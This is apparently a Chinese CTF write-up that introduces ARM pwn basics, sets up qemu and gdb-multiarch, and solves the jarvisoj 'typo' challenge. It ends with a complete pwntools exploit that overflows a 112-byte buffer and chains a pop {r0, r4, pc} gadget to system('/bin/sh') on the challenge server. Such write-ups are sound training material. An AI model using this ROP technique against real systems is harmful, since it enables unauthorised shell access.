本文最后更新于:星期三, 一月 2日 2019, 4:11 下午
最近做了下InCTF,第一道pwn题就是arm架构的,之前没有接触过,就学习一下
基础知识
可以看下维基百科的arm架构 ,介绍的挺详细的
arm下的通用寄存器
函数调用约定:
ARM:参数1~参数4 分别保存到 R0~R3 寄存器中 ,剩下的参数从右往左依次入栈,被调用者实现栈平衡,返回值存放在 R0 中。
ARM64:参数1~参数8 分别保存到 X0~X7 寄存器中 ,剩下的参数从右往左依次入栈,被调用者实现栈平衡,返回值存放在 X0 中。
arm下的pc相当于eip或者rip,保存着下一条要执行的指令的地址
环境准备
这里我没装新的虚拟机,我直接在ubuntu16.04装的环境
安装gdb-multiarch,用来调试多架构的程序
sudo apt-get install gdb-multiarch
安装qemu
sudo apt-get install qemu-user
安装程序架构对应的共享库
简单运行下程序,看需要什么共享库
$ ./wARMup [19:42:58] /lib/ld-linux-armhf.so.3: No such file or directory
然后再终端输入
zs0zrc@ubuntu: ~/game/InCTF/PWN/WARMUP $ apt-cache search "libc6" | grep arm [10:34:21] libc6-arm64-cross - GNU C Library: Shared libraries (for cross-compiling) libc6-armhf-cross - GNU C Library: Shared libraries (for cross-compiling) libc6-dev-arm64-cross - GNU C Library: Development Libraries and Header Files (for cross-compiling) libc6-dev-armhf-cross - GNU C Library: Development Libraries and Header Files (for cross-compiling) libc6-armel-armhf-cross - Dummy package to get libc6:armel installed libc6-armel-cross - GNU C Library: Shared libraries (for cross-compiling) libc6-armhf-armel-cross - Dummy package to get libc6:armhf installed libc6-dbg-arm64-cross - GNU C Library: detached debugging symbols (for cross-compiling) libc6-dbg-armel-cross - GNU C Library: detached debugging symbols (for cross-compiling) libc6-dbg-armhf-cross - GNU C Library: detached debugging symbols (for cross-compiling) libc6-dev-armel-armhf-cross - Dummy package to get libc6-dev:armel installed libc6-dev-armel-cross - GNU C Library: Development Libraries and Header Files (for cross-compiling) libc6-dev-armhf-armel-cross - Dummy package to get libc6-dev:armhf installed
安装对应的共享库
通过 sudo apt-get install libc6-armhf-cross 来安装
运行
程序运行需要用qemu来指定它共享库的位置
参数 -L指定共享库的位置 qemu-arm -L /usr/arm-linux-gnueabihf/ ./wARMup
调试的话用gdb-multiarch
先用qemu将程序映射到某个端口,参数为-g
然后用gdb-multiarch开启远程调试
先用qemu映射到端口1234 qemu-arm -g 1234 -L /usr/arm-linux-gnueabihf/ ./wARMup 然后用gdb-multiarch开启远程调试 pwndbg> set architecture arm The target architecture is assumed to be arm pwndbg> target remote localhost:1234
题目
typo
这是jarvisoj平台上的一道pwn题
防护机制:
[*] '/home/zs0zrc/pwn/jarvisoj/typo/typo'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
文件信息:
☁ typo file typo
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
说明这个程序是静态链接,所以程序中一定会有system函数以及”/bin/sh”字符串,但是用ida反编译时会发现函数的符号都被去除了,但是可以在字符串表找到”/bin/sh”字符串,这里用rizzo插件恢复下符号。
做法:
将arm的libc.so文件拖入ida
然后在选择 file-->Produce file-->Rizzo signature file
导出符号文件
然后用ida打开typo
选择 file-->Load file-->Rizzo signature file
就可以看到一些函数符号了
char *__fastcall system(int a1)
{
char *result; // r0
if ( a1 )
result = sub_10BA8(a1);
else
result = (sub_10BA8("exit 0") == 0);
return result;
}
简单运行下程序,程序要我们输入一个字符串,因为arm下的pwn一般是栈溢出居多,而且防护机制没开canary,所以用pwndbg测了下栈的大小
pwndbg> cyclic -l 0x62616164
112
栈的长度为112,接下来就是找能控制r0和pc的gadget,这里我用的是ropper
(typo/ELF/ARM)> search pop|ret |grep r0
[INFO] Searching for gadgets: pop|ret |grep r0
[INFO] File: typo
0x00011364: pop {lr}; add sp, sp, #0x10; bx lr;
0x00011398: pop {lr}; add sp, sp, #0xc; bx lr;
0x0001db98: pop {lr}; b #0x11e38; mov r1, lr; pop {lr}; bx r3;
0x0001dba4: pop {lr}; bx r3;
0x00053ea8: pop {pc}; mov r0, #0; bx lr;
0x00050f30: pop {pc}; mov r0, r3; bx lr;
0x00053078: pop {r0, r1, r2, r3, r4, lr}; bx ip;
0x00053d64: pop {r0, r1, r3, ip, lr}; pop {r2}; ldr r1, [r0, #4]; bx r1;
0x00020904: pop {r0, r4, pc}; //选择的gadget
之后就是ROP就行了
exp:
#!/usr/bin/env python
from pwn import *
local = 1
debug = 0
if local:
p = remote("pwn2.jarvisoj.com","9888")
elif debug:
p = process(["qemu-arm", "-g", "1234", "-L", "arm-linux-gnueabihf", "typo"])
else:
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "typo"])
elf = ELF("typo")
libc = ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6")
context.binary = "typo"
context.log_level = "debug"
def sd(content):
p.send(content)
def sl(content):
p.sendline(content)
def rc():
return p.recv()
def ru(content):
return p.recvuntil(content)
rc()
sl('')
payload = 'a'*112 + p32(0x00020904) + p32(0x0006c384) + p32(0) + p32(0x000110B4)
rc()
sl(payload)
p.interactive()
reference:
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!